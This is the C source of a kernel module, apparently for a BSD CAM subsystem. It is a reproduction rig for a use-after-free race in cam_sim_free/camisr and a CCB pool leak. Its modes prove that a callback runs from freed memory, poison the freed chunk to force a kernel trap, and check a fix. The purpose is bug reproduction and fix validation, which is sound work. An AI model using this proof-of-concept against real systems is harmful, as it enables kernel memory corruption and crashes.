/* * ptsim3.ko -- DF-5592 / DF-5593 rig. * * DF-5592: cam_sim_release() (cam_sim.c:241-256) frees the cam_sim with * no synchronization against the deferred-completion subsystem: * - xpt_done() (cam_xpt.c:4891-4926) inserts the ccb on sim->sim_doneq * under sim->sim_spin ONLY (no sim lock -- lock-free by design, this * is how driver interrupt/kthread completions enter CAM), then links * the sim onto the global cam_simq under cam_simq_spin and calls * setsoftcambio(). * - swi_cambio -> camisr (cam_xpt.c:7389-7407) pops the sim off * cam_simq (under cam_simq_spin) and ONLY THEN takes CAM_SIM_LOCK -- * so a detach thread that already holds the sim lock runs its whole * xpt_bus_deregister() + cam_sim_free() while camisr is blocked * holding nothing but a raw pointer to the sim. * - the driver detach protocol (ahci_cam.c:210-227, virtio_scsi.c: * 675-687, atapi-cam.c:895-900, mpr_sas.c:955-956) is exactly: * lock; xpt_bus_deregister(); cam_sim_free(); unlock. * => kfree(sim) happens while camisr still has the sim in its local * queue; when the lock is released, camisr dereferences AND WRITES * the freed chunk (lockmgr at 7402, flags clear at 7403, * spin_lock/camisr_runqueue at 7415-7417). * * Reproduced deterministically with production symbols only * (cam_sim_alloc, xpt_bus_register, xpt_action, xpt_done, * xpt_bus_deregister, cam_sim_free). The "hardware delay" is ptsim2's * (DF-5550) proven deferred-completion kthread calling the REAL * xpt_done() from a context that holds no sim lock -- precisely the * privilege a controller interrupt handler has. * * noattach=1 (default): INQUIRY completes CAM_REQ_INVALID so no * da/pass periphs attach; probe ccbs still flow (that is what we park), * and bus deregistration has an empty periphery (avoids unrelated * destroy_dev-under-lock teardown noise in the rig). * * Knobs: * debug.ptsim3.noattach 1 = fail INQUIRY (no periphs) * debug.ptsim3.scan=1 run XPT_SCAN_BUS (sim lock held) * debug.ptsim3.delay completion delay in ticks (parks ccbs) * debug.ptsim3.go=N 1 = marker UAF-write proof (reclaim+flag) * 2 = poison (panic: trap in camisr) * 3 = DF-5593 leak measurement + detach */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include MALLOC_DEFINE(M_PTS3, "ptsim3", "ptsim3 poison"); static struct lock pts3_lock; static struct cam_sim *pts3_sim; static int pts3_noattach = 1; static int pts3_delay; /* ticks */ static int pts3_hold = 1; /* completer parked */ static int pts3_release_one; /* completer: xpt_done 1 */ static volatile int pts3_released; static volatile int pts3_stop; static int pts3_ios; static int pts3_parked; static int pts3_done_calls; static int pts3_scans; static TAILQ_HEAD(, ccb_hdr) pts3_backlog = TAILQ_HEAD_INITIALIZER(pts3_backlog); static struct spinlock pts3_spin; /* snapshot of the sim for reclaim modes */ static struct cam_sim pts3_saved; static void *pts3_sim_addr; /* marker ccb: pre-inserted into sim_doneq right before cam_sim_free; * if camisr_runqueue pops it AFTER the free, pts3_marker_hit flips -- * proof the kernel executed a completion out of a FREED sim. */ static struct { struct ccb_hdr h; } pts3_marker; static volatile int pts3_marker_hit; static struct cam_periph pts3_dummy_periph; static void pts3_marker_done(struct cam_periph *periph, union ccb *done_ccb) { pts3_marker_hit = 1; kprintf("[PTSIM3] *** MARKER CCB CALLBACK EXECUTED FROM FREED SIM " "(camisr_runqueue -> cbfcnp, cam_xpt.c:7506) ***\n"); } static void pts3_action(struct cam_sim *sim, union ccb *ccb); static void pts3_poll(struct cam_sim *sim); static void pts3_scan_done(struct cam_periph *, union ccb *); static u_int8_t pts3_inq36[36] = { 0x00, /* T_DIRECT, qual 0 -> da+pass attach */ 0x00, 0x02, 0x02, 0x00, 0x00, 0x00, 'E','V','I','L','D','A',' ',' ', 'P','R','O','C',' ',' ',' ',' ', '1','.','0',' ', }; static void pts3_fill_data(struct ccb_scsiio *csio, u_int8_t *src, u_int32_t srclen) { u_int32_t dxfer = csio->dxfer_len; u_int32_t copy = dxfer < srclen ? dxfer : srclen; if (csio->data_ptr != NULL && copy) bcopy(src, csio->data_ptr, copy); csio->resid = dxfer - copy; csio->scsi_status = SCSI_STATUS_OK; } static void pts3_complete(union ccb *ccb, cam_status st) { ccb->ccb_h.status = st; if ((ccb->ccb_h.func_code & XPT_FC_QUEUED) != 0) xpt_done(ccb); } /* "hardware": park the ccb; completer finishes later. xpt_done() is * spin-protected and lock-agnostic (cam_xpt.c:4891). */ static void pts3_finish(struct ccb_scsiio *csio, cam_status st) { if (pts3_delay > 0 && csio->ccb_h.func_code == XPT_SCSI_IO) { spin_lock(&pts3_spin); TAILQ_INSERT_TAIL(&pts3_backlog, &csio->ccb_h, sim_links.tqe); spin_unlock(&pts3_spin); atomic_add_int(&pts3_parked, 1); return; } pts3_complete((union ccb *)csio, st); } static void pts3_io(struct ccb_scsiio *csio) { u_int8_t *cdb = csio->cdb_io.cdb_bytes; if (csio->ccb_h.flags & CAM_CDB_POINTER) cdb = csio->cdb_io.cdb_ptr; switch (cdb[0]) { case 0x12: /* INQUIRY */ if (pts3_noattach) { /* valid transport, no device: probe gives up, * no periph attaches -- but the ccb still parks */ csio->scsi_status = SCSI_STATUS_OK; csio->resid = csio->dxfer_len; pts3_finish(csio, CAM_REQ_INVALID); return; } pts3_fill_data(csio, pts3_inq36, 36); pts3_finish(csio, CAM_REQ_CMP); return; case 0x25: /* READ CAPACITY (10) */ { u_int8_t b[8]; b[0]=0; b[1]=0x0F; b[2]=0xFF; b[3]=0xFF; b[4]=0; b[5]=0; b[6]=2; b[7]=0; if (csio->data_ptr) bcopy(b, csio->data_ptr, 8); csio->resid = csio->dxfer_len - 8; csio->scsi_status = SCSI_STATUS_OK; pts3_finish(csio, CAM_REQ_CMP); return; } case 0x28: /* READ (10) */ case 0x08: /* READ (6) */ if (csio->data_ptr != NULL && csio->dxfer_len) memset(csio->data_ptr, 0x5A, csio->dxfer_len); csio->resid = 0; csio->scsi_status = SCSI_STATUS_OK; pts3_finish(csio, CAM_REQ_CMP); return; case 0x35: /* SYNCHRONIZE CACHE */ case 0x0A: /* SEND */ case 0x00: /* TUR */ case 0x03: /* REQUEST SENSE */ csio->scsi_status = SCSI_STATUS_OK; csio->resid = csio->dxfer_len; pts3_finish(csio, CAM_REQ_CMP); return; default: pts3_finish(csio, CAM_REQ_INVALID); return; } } static void pts3_action(struct cam_sim *sim, union ccb *ccb) { switch (ccb->ccb_h.func_code) { case XPT_PATH_INQ: { struct ccb_pathinq *cpi = &ccb->cpi; cpi->version_num = 1; cpi->hba_inquiry = 0; cpi->hba_misc = 0; cpi->max_target = 7; cpi->max_lun = 0; cpi->initiator_id = 15; cpi->unit_number = cam_sim_unit(sim); cpi->bus_id = cam_sim_bus(sim); cpi->base_transfer_speed = 3300; cpi->transport = XPORT_SPI; cpi->transport_version = 2; cpi->protocol = PROTO_SCSI; cpi->protocol_version = SCSI_REV_2; cpi->maxio = 65536; strncpy(cpi->sim_vid, "EVIL", SIM_IDLEN); strncpy(cpi->hba_vid, "EVIL", HBA_IDLEN); strncpy(cpi->dev_name, "ptsim3", DEV_IDLEN); ccb->ccb_h.status = CAM_REQ_CMP; break; } case XPT_GET_TRAN_SETTINGS: ccb->cts.type = CTS_TYPE_CURRENT_SETTINGS; ccb->cts.transport = XPORT_SPI; ccb->cts.transport_version = 2; ccb->cts.protocol = PROTO_SCSI; ccb->cts.protocol_version = SCSI_REV_2; ccb->cts.xport_specific.spi.valid = 0; ccb->cts.proto_specific.scsi.valid = 0; ccb->ccb_h.status = CAM_REQ_CMP; break; case XPT_SET_TRAN_SETTINGS: ccb->ccb_h.status = CAM_REQ_INVALID; break; case XPT_SCSI_IO: atomic_add_int(&pts3_ios, 1); pts3_io(&ccb->csio); return; default: pts3_complete(ccb, CAM_REQ_INVALID); return; } xpt_done(ccb); } static void pts3_poll(struct cam_sim *sim) { } /* ---------------- deferred completer kthread (the "hardware IRQ") --- */ static void pts3_completer(void *arg) { for (;;) { struct ccb_hdr *ch; int n = 0; if (pts3_stop) break; if (pts3_hold) { tsleep(&pts3_hold, 0, "pt3h", 1); continue; } spin_lock(&pts3_spin); while ((ch = TAILQ_FIRST(&pts3_backlog)) != NULL) { TAILQ_REMOVE(&pts3_backlog, ch, sim_links.tqe); spin_unlock(&pts3_spin); atomic_subtract_int(&pts3_parked, 1); if (pts3_delay > 1 && !pts3_release_one) tsleep(&pts3_delay, 0, "pt3d", pts3_delay); /* the REAL xpt_done(): no sim lock held -- * exactly the interrupt-handler contract */ pts3_complete((union ccb *)ch, CAM_REQ_CMP); atomic_add_int(&pts3_done_calls, 1); n++; if (pts3_release_one) { pts3_released = 1; wakeup(&pts3_released); pts3_release_one = 0; pts3_hold = 1; /* stop after one */ spin_lock(&pts3_spin); break; } spin_lock(&pts3_spin); } spin_unlock(&pts3_spin); if (n == 0) tsleep(&pts3_backlog, 0, "pt3w", 1); else lwkt_yield(); } kthread_exit(); /* NOTREACHED */ } static void pts3_scan_done(struct cam_periph *periph, union ccb *done_ccb) { xpt_free_path(done_ccb->ccb_h.path); xpt_free_ccb(&done_ccb->ccb_h); } /* ---------------- DF-5592 dance ---------------- */ static int pts3_dance(int mode) { int i; /* phase A (unlocked): park some probe ccbs via a scan */ pts3_delay = 1; cam_sim_lock(&pts3_lock); { struct cam_path *path; union ccb *ccb; if (xpt_create_path(&path, xpt_periph, cam_sim_path(pts3_sim), CAM_TARGET_WILDCARD, CAM_LUN_WILDCARD) == CAM_REQ_CMP) { ccb = xpt_alloc_ccb(); xpt_setup_ccb(&ccb->ccb_h, path, 5); ccb->ccb_h.func_code = XPT_SCAN_BUS; ccb->ccb_h.cbfcnp = pts3_scan_done; xpt_action(ccb); atomic_add_int(&pts3_scans, 1); } } cam_sim_unlock(&pts3_lock); i = 0; while (pts3_parked < 1 && i++ < 40) tsleep(&pts3_parked, 0, "pt3w", hz / 4); kprintf("[PTSIM3] mode %d: parked=%d ios=%d\n", mode, pts3_parked, pts3_ios); if (pts3_parked < 1) { kprintf("[PTSIM3] nothing parked -- abort\n"); return (ENOENT); } /* phase B: the detach race, deterministic */ cam_sim_lock(&pts3_lock); /* 1. release exactly ONE ccb via the REAL xpt_done() from the * completer kthread (no sim lock). swi_cambio preempts it, * pops our sim off cam_simq, and blocks on CAM_SIM_LOCK which * WE now hold. */ pts3_released = 0; pts3_release_one = 1; pts3_hold = 0; wakeup(&pts3_backlog); i = 0; while (!pts3_released && i++ < 4000000000) { cpu_ccfence(); lwkt_yield(); } if (!pts3_released) { kprintf("[PTSIM3] completer never released -- abort\n"); cam_sim_unlock(&pts3_lock); return (ETIMEDOUT); } kprintf("[PTSIM3] xpt_done() from kthread done; camisr now BLOCKED " "on the sim lock we hold\n"); /* 2. the ahci_cam_detach() sequence, verbatim */ pts3_sim_addr = pts3_sim; bcopy(pts3_sim, &pts3_saved, sizeof(pts3_saved)); xpt_bus_deregister(cam_sim_path(pts3_sim)); kprintf("[PTSIM3] bus deregistered (cam_sim refcount back to 1)\n"); /* 2b. late-completion emulation: what a lock-free xpt_done() from * interrupt context does at cam_xpt.c:4904-4907 -- insert a * ccb onto sim_doneq under sim_spin only. The swi is still * blocked on our lock; nobody can drain this before the free. */ memset(&pts3_marker, 0, sizeof(pts3_marker)); pts3_marker.h.func_code = XPT_FC_USER_CCB; /* skip dev bookkeeping */ pts3_marker.h.status = CAM_REQ_CMP; /* no release branches */ pts3_marker.h.cbfcnp = pts3_marker_done; pts3_marker.h.path = (struct cam_path *)&pts3_dummy_periph; /* periph arg only */ spin_lock(&pts3_sim->sim_spin); TAILQ_INSERT_TAIL(&pts3_sim->sim_doneq, &pts3_marker.h, sim_links.tqe); pts3_marker.h.pinfo.index = CAM_DONEQ_INDEX; spin_unlock(&pts3_sim->sim_spin); cam_sim_free(pts3_sim); kprintf("[PTSIM3] cam_sim_free(%p) returned; chunk refcount now " "reads %d (baseline-unfixed: 0 = already kfree'd while camisr " "is blocked on our lock; DF-5592-fixed: 1 = cam_simq pin held)" "\n", pts3_sim_addr, ((volatile struct cam_sim *)pts3_sim_addr)->refcount); pts3_sim = NULL; if (mode == 2) { /* 3b. the freed chunk is still mapped (kfree does not * unmap); write it directly -- the standard post-UAF * attacker step. camisr then walks the wild doneq * head and takes a page fault in camisr_runqueue. * (mode 1 already proved the KERNEL uses this chunk; * this proves the consequence.) */ struct cam_sim *p = pts3_sim_addr; p->sim_doneq.tqh_first = (struct ccb_hdr *)0x00dead000UL; kprintf("[PTSIM3] POISON: freed chunk %p sim_doneq head = " "0x00dead000 -- unlocking so camisr walks it\n", p); } /* 4. release the sim lock: camisr unblocks into freed memory */ cam_sim_unlock(&pts3_lock); kprintf("[PTSIM3] sim lock RELEASED -- camisr now runs on the " "FREED cam_sim chunk\n"); if (mode == 4) { /* DF-5592 fix validation: the sim must NOT have been * freed while camisr was blocked on our lock. After * the unlock camisr processes (marker ccb fires with * the sim VALID and pinned), then the pin drops and * the sim is freed. */ tsleep(&pts3_backlog, 0, "pt3f", 2 * hz); kprintf("[PTSIM3] mode 4: marker_hit=%d; freed-chunk " "refcount slot now reads %d (finalize set 0 before " "kfree; 0/garbage = freed AFTER camisr processing)\n", pts3_marker_hit, ((volatile struct cam_sim *)pts3_sim_addr)->refcount); if (pts3_marker_hit) kprintf("[PTSIM3] mode 4: completion callback ran; " "with the fix this happened while the sim was " "still pinned+valid (no UAF)\n"); return (0); } if (mode == 1) { tsleep(&pts3_backlog, 0, "pt3m", 2 * hz); kprintf("[PTSIM3] after 2s: marker_hit=%d " "(marker ccb was queued ONLY on the freed sim's doneq)\n", pts3_marker_hit); if (pts3_marker_hit) kprintf("[PTSIM3] *** UAF CONFIRMED: kernel ran a " "completion callback out of a cam_sim chunk that " "cam_sim_free() had already kfree()'d ***\n"); } /* mode 2: trap imminent -- camisr_runqueue walks 0x00dead000 */ return (0); } /* ---------------- DF-5593: pool leak on clean detach ---------------- */ static int pts3_leakcheck(void) { struct ccb_hdr *ch; int n = 0; /* drain any parked ccbs cleanly first */ pts3_delay = 0; pts3_hold = 0; wakeup(&pts3_backlog); tsleep(&pts3_backlog, 0, "pt3q", 3 * hz); pts3_hold = 1; cam_sim_lock(&pts3_lock); SLIST_FOREACH(ch, &pts3_sim->ccb_freeq, xpt_links.sle) n++; kprintf("[PTSIM3] DF-5593: sim->ccb_count=%d, ccb_freeq length=%d " "(each orphaned union ccb ~%zu bytes + callout, M_CAMXPT)\n", pts3_sim->ccb_count, n, sizeof(union ccb)); kprintf("[PTSIM3] DF-5593: clean detach (deregister+free): the %d " "pooled ccbs are NOT freed by cam_sim_free()\n", n); xpt_bus_deregister(cam_sim_path(pts3_sim)); cam_sim_free(pts3_sim); pts3_sim = NULL; kprintf("[PTSIM3] DF-5593: detach DONE; %d ccbs orphaned -- check " "'vmstat -m | grep -i xpt' delta\n", n); cam_sim_unlock(&pts3_lock); return (0); } /* ---------------- sysctls ---------------- */ static int pts3_sys_go(SYSCTL_HANDLER_ARGS) { int do_it = 0, error; error = sysctl_handle_int(oidp, &do_it, 0, req); if (error != 0 || req->newptr == NULL || do_it == 0) return (error); if (pts3_sim == NULL) return (ENXIO); switch (do_it) { case 1: case 2: return (pts3_dance(do_it)); case 3: return (pts3_leakcheck()); case 4: return (pts3_dance(4)); } return (EINVAL); } static int pts3_sys_scan(SYSCTL_HANDLER_ARGS) { int do_it = 0, error; struct cam_path *path; union ccb *ccb; error = sysctl_handle_int(oidp, &do_it, 0, req); if (error != 0 || req->newptr == NULL || do_it == 0) return (error); if (pts3_sim == NULL) return (ENXIO); cam_sim_lock(&pts3_lock); if (xpt_create_path(&path, xpt_periph, cam_sim_path(pts3_sim), CAM_TARGET_WILDCARD, CAM_LUN_WILDCARD) == CAM_REQ_CMP) { ccb = xpt_alloc_ccb(); xpt_setup_ccb(&ccb->ccb_h, path, 5); ccb->ccb_h.func_code = XPT_SCAN_BUS; ccb->ccb_h.cbfcnp = pts3_scan_done; xpt_action(ccb); atomic_add_int(&pts3_scans, 1); } cam_sim_unlock(&pts3_lock); return (0); } static int pts3_sys_stats(SYSCTL_HANDLER_ARGS) { int v = pts3_sim ? (int)pts3_sim->ccb_count : -1; return (sysctl_handle_int(oidp, &v, 0, req)); } SYSCTL_NODE(_debug, OID_AUTO, ptsim3, CTLFLAG_RW, 0, "ptsim3 control"); SYSCTL_PROC(_debug_ptsim3, OID_AUTO, go, CTLTYPE_INT | CTLFLAG_RW, 0, 0, pts3_sys_go, "I", "1=marker UAF 2=poison(panic) 3=leak check"); SYSCTL_PROC(_debug_ptsim3, OID_AUTO, scan, CTLTYPE_INT | CTLFLAG_RW, 0, 0, pts3_sys_scan, "I", "rescan the bus (sim-locked)"); SYSCTL_PROC(_debug_ptsim3, OID_AUTO, ccbs, CTLTYPE_INT | CTLFLAG_RD, 0, 0, pts3_sys_stats, "I", "sim ccb pool occupancy"); SYSCTL_INT(_debug_ptsim3, OID_AUTO, noattach, CTLFLAG_RW, &pts3_noattach, 0, "fail INQUIRY so no periphs attach"); SYSCTL_INT(_debug_ptsim3, OID_AUTO, delay, CTLFLAG_RW, &pts3_delay, 0, "completion delay in ticks (parks ccbs)"); SYSCTL_INT(_debug_ptsim3, OID_AUTO, ios, CTLFLAG_RD, &pts3_ios, 0, "scsi ios seen"); SYSCTL_INT(_debug_ptsim3, OID_AUTO, parked, CTLFLAG_RD, &pts3_parked, 0, "ccbs parked in backlog"); SYSCTL_INT(_debug_ptsim3, OID_AUTO, donecalls, CTLFLAG_RD, &pts3_done_calls, 0, "xpt_done calls from completer"); SYSCTL_INT(_debug_ptsim3, OID_AUTO, scans, CTLFLAG_RD, &pts3_scans, 0, "scans issued"); /* ---------------- boot choreography ---------------- */ static void pts3_choreography(void *arg) { pts3_sim = cam_sim_alloc(pts3_action, pts3_poll, "ptsim3", NULL, 0, &pts3_lock, 16, 16, NULL); if (pts3_sim == NULL) { kprintf("[PTSIM3] cam_sim_alloc failed\n"); kthread_exit(); } cam_sim_lock(&pts3_lock); if (xpt_bus_register(pts3_sim, 0) != CAM_SUCCESS) { kprintf("[PTSIM3] xpt_bus_register failed\n"); cam_sim_unlock(&pts3_lock); kthread_exit(); } cam_sim_unlock(&pts3_lock); kprintf("[PTSIM3] bus registered; use debug.ptsim3.scan=1 then " "debug.ptsim3.go=N\n"); kthread_exit(); } static int ptsim3_modevent(module_t mod, int type, void *data) { int error = 0; switch (type) { case MOD_LOAD: lockinit(&pts3_lock, "ptsim3", 0, LK_CANRECURSE); spin_init(&pts3_spin, "ptsim3"); kthread_create(pts3_choreography, NULL, NULL, "ptsim3"); kthread_create(pts3_completer, NULL, NULL, "ptsim3c"); break; case MOD_UNLOAD: if (pts3_sim != NULL) { kprintf("[PTSIM3] sim still alive -- unload " "refused\n"); error = EBUSY; break; } pts3_stop = 1; pts3_hold = 0; wakeup(&pts3_hold); wakeup(&pts3_backlog); tsleep(&pts3_stop, 0, "pt3u", 2); break; default: break; } return (error); } static moduledata_t ptsim3_mod = { "ptsim3", ptsim3_modevent, NULL }; DECLARE_MODULE(ptsim3, ptsim3_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);